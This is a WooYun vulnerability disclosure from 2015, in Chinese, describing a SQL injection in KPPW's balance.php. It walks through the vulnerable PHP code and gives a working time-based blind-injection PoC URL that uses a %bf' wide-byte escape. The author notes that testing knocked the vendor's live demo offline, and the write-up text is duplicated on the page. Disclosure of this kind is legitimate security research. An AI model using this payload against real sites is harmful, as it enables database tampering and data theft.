当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0113891

漏洞标题:kppw 最新版注入(有点奇葩)

相关厂商:keke.com

漏洞作者: answer

提交时间:2015-05-13 15:58

修复时间:2015-08-12 12:04

公开时间:2015-08-12 12:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-13: 细节已通知厂商并且等待厂商处理中
2015-05-14: 厂商已经确认,细节仅向厂商公开
2015-05-17: 细节向第三方安全合作伙伴开放
2015-07-08: 细节向核心白帽子及相关领域专家公开
2015-07-18: 细节向普通白帽子公开
2015-07-28: 细节向实习白帽子公开
2015-08-12: 细节向公众公开

简要描述:

人生第一发代码审计

详细说明:

首先给厂商说句抱歉,测试demo的时候把demo搞挂了
漏洞文件:control/ajax/balance.php
看代码

$arrSellerInfo = db_factory::get_one(sprintf('select * from %s a left join %s b on a.uid = b.uid where a.uid =%s',TABLEPRE.'witkey_space',TABLEPRE.'witkey_shop',intval($id)));
if($arrSellerInfo['shop_backstyle']){
$arrBackgroudStyle = unserialize($arrSellerInfo['shop_backstyle']);
}
if($_R['a']==1){
$arr['shop_background']="";
db_factory::updatetable(TABLEPRE."witkey_shop", $arr, "uid=".$_R['id']);
kekezu::show_msg('已清除','index.php?do=seller&id='.intval($id),NULL,NULL,'ok');
}elseif($_R['a']==2){
$arr['banner']="";
db_factory::updatetable(TABLEPRE."witkey_shop", $arr, "uid=".$_R['id']);
kekezu::show_msg('已清除','index.php?do=seller&id='.intval($id),NULL,NULL,'ok');
}
if (isset($formhash)&&kekezu::submitcheck($formhash)) {
$shopObjT = keke_table_class::get_instance ( 'witkey_shop' );
$banner and $arrFields['banner'] = $banner;
$background and $arrFields['shop_background'] = $background;
$repeat and $arrBackgroudStyle['repeat']= $repeat;
$position and $arrBackgroudStyle['position']= $position;
is_array($arrBackgroudStyle) and $arrFields['shop_backstyle'] = serialize($arrBackgroudStyle);
$shopObjT->save($arrFields,array('uid'=>intval($id)));
kekezu::show_msg('已保存','index.php?do=seller&id='.intval($id),NULL,NULL,'ok');
}


变量 $arr 是可控的 而且没做任何过滤传入 updatetable()函数
跟进updatetable()函数

public function updatetable($tablename, $setsqlarr, $wheresqlarr) {
return $this->_mydb->update ( $tablename, $setsqlarr, $wheresqlarr );


可见没做处理,跟进update()

public function update($tablename, $setsqlarr, $wheresqlarr) {
$setsql = '';
$fields = array ();
foreach ( $setsqlarr as $k => $v ) {
$fileds [] = $this->special_filed ( $k ) . '=' . $this->mysqlEscapeString ( $v );
}
$setsql = implode ( ',', $fileds );
$where = "";
if (empty ( $wheresqlarr )) {
$where = 1;
} elseif (is_array ( $wheresqlarr )) {
$temp = array ();
foreach ( $wheresqlarr as $k => $v ) {
$temp [] = $this->special_filed ( $k ) . '=' . $this->escape_string ( $v );
}
$where = implode ( ' and ', $temp );
} else {
$where = $wheresqlarr;
}
return $affectrows = $this->execute ( 'UPDATE ' . $tablename . ' SET ' . $setsql . ' WHERE ' . $where );
}


这里就可以看出我们从url传过来的arr要是数组才行,才能控字段。
先看效果

QQ图片20150513132015.png


QQ图片20150513132059.png


可见真的进入了update语句,但是是否 显得鸡肋呢,因为只能更新shop表下的字段而已,也就是改改别人的店铺名啊之类的,要是能逃逸单引号多,这时候就开始fuzz一下发现,如果交一个单引号会经过两次转义,一次是系统全局的,另一次是update()函数里的escape_string()函数,测试一下

3.png


4.png


可见一个单引号会变成一个3个反斜杠加一个单引号。这时候我fuzz了一下
发现如果提交%bf'哈哈

5.png


6.png


哈哈 单引号成功逃逸出来。
这个时候就可以盲注了哈哈
至于你问我为什么 我也还不大清楚,我再还要分析看看,注:我的环境是apache+mysql5.5.4+php5.3。本来是要测dome的但是由于手抖没闭合好官网已经挂了 实在抱歉
poc
http://127.0.0.1:81/www/kppw/index.php?do=ajax&view=banner&id=1&a=1&arr[shop_name]=123%bf' where uid=1 and sleep(5)%23

7.png


成功盲注。

漏洞证明:

首先给厂商说句抱歉,测试demo的时候把demo搞挂了
漏洞文件:control/ajax/balance.php
看代码

$arrSellerInfo = db_factory::get_one(sprintf('select * from %s a left join %s b on a.uid = b.uid where a.uid =%s',TABLEPRE.'witkey_space',TABLEPRE.'witkey_shop',intval($id)));
if($arrSellerInfo['shop_backstyle']){
$arrBackgroudStyle = unserialize($arrSellerInfo['shop_backstyle']);
}
if($_R['a']==1){
$arr['shop_background']="";
db_factory::updatetable(TABLEPRE."witkey_shop", $arr, "uid=".$_R['id']);
kekezu::show_msg('已清除','index.php?do=seller&id='.intval($id),NULL,NULL,'ok');
}elseif($_R['a']==2){
$arr['banner']="";
db_factory::updatetable(TABLEPRE."witkey_shop", $arr, "uid=".$_R['id']);
kekezu::show_msg('已清除','index.php?do=seller&id='.intval($id),NULL,NULL,'ok');
}
if (isset($formhash)&&kekezu::submitcheck($formhash)) {
$shopObjT = keke_table_class::get_instance ( 'witkey_shop' );
$banner and $arrFields['banner'] = $banner;
$background and $arrFields['shop_background'] = $background;
$repeat and $arrBackgroudStyle['repeat']= $repeat;
$position and $arrBackgroudStyle['position']= $position;
is_array($arrBackgroudStyle) and $arrFields['shop_backstyle'] = serialize($arrBackgroudStyle);
$shopObjT->save($arrFields,array('uid'=>intval($id)));
kekezu::show_msg('已保存','index.php?do=seller&id='.intval($id),NULL,NULL,'ok');
}


变量 $arr 是可控的 而且没做任何过滤传入 updatetable()函数
跟进updatetable()函数

public function updatetable($tablename, $setsqlarr, $wheresqlarr) {
return $this->_mydb->update ( $tablename, $setsqlarr, $wheresqlarr );


可见没做处理,跟进update()

public function update($tablename, $setsqlarr, $wheresqlarr) {
$setsql = '';
$fields = array ();
foreach ( $setsqlarr as $k => $v ) {
$fileds [] = $this->special_filed ( $k ) . '=' . $this->mysqlEscapeString ( $v );
}
$setsql = implode ( ',', $fileds );
$where = "";
if (empty ( $wheresqlarr )) {
$where = 1;
} elseif (is_array ( $wheresqlarr )) {
$temp = array ();
foreach ( $wheresqlarr as $k => $v ) {
$temp [] = $this->special_filed ( $k ) . '=' . $this->escape_string ( $v );
}
$where = implode ( ' and ', $temp );
} else {
$where = $wheresqlarr;
}
return $affectrows = $this->execute ( 'UPDATE ' . $tablename . ' SET ' . $setsql . ' WHERE ' . $where );
}


这里就可以看出我们从url传过来的arr要是数组才行,才能控字段。
先看效果

QQ图片20150513132015.png


QQ图片20150513132059.png


可见真的进入了update语句,但是是否 显得鸡肋呢,因为只能更新shop表下的字段而已,也就是改改别人的店铺名啊之类的,要是能逃逸单引号多,这时候就开始fuzz一下发现,如果交一个单引号会经过两次转义,一次是系统全局的,另一次是update()函数里的escape_string()函数,测试一下

3.png


4.png


可见一个单引号会变成一个3个反斜杠加一个单引号。这时候我fuzz了一下
发现如果提交%bf'哈哈

5.png


6.png


哈哈 单引号成功逃逸出来。
这个时候就可以盲注了哈哈
至于你问我为什么 我也还不大清楚,我再还要分析看看,注:我的环境是apache+mysql5.5.4+php5.3。本来是要测dome的但是由于手抖没闭合好官网已经挂了 实在抱歉
poc
http://127.0.0.1:81/www/kppw/index.php?do=ajax&view=banner&id=1&a=1&arr[shop_name]=123%bf' where uid=1 and sleep(5)%23

7.png


成功盲注。

修复方案:

你懂的

版权声明:转载请注明来源 answer@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-05-14 12:02

厂商回复:

谢谢提供

最新状态:

暂无


漏洞评价:

评论

  1. 2015-05-13 16:07 | 东方不败 ( 普通白帽子 | Rank:440 漏洞数:66 | 日出东方,唯我不败。)

    再显神威

  2. 2015-05-13 16:11 | 玉林嘎 ( 普通白帽子 | Rank:758 漏洞数:96 )

    有点奇葩

  3. 2015-05-13 20:30 | AK-47 ( 路人 | Rank:15 漏洞数:1 | 开开心心挖洞,踏踏实实上学!)

    怎么奇葩了?

  4. 2015-05-18 18:25 | 武汉客客信息技术有限公司(乌云厂商)

    变量没有初始化...

  5. 2015-09-14 12:23 | BeenQuiver ( 普通白帽子 | Rank:101 漏洞数:26 | 专注而高效,坚持好的习惯千万不要放弃)

    这fuzz得也是醉了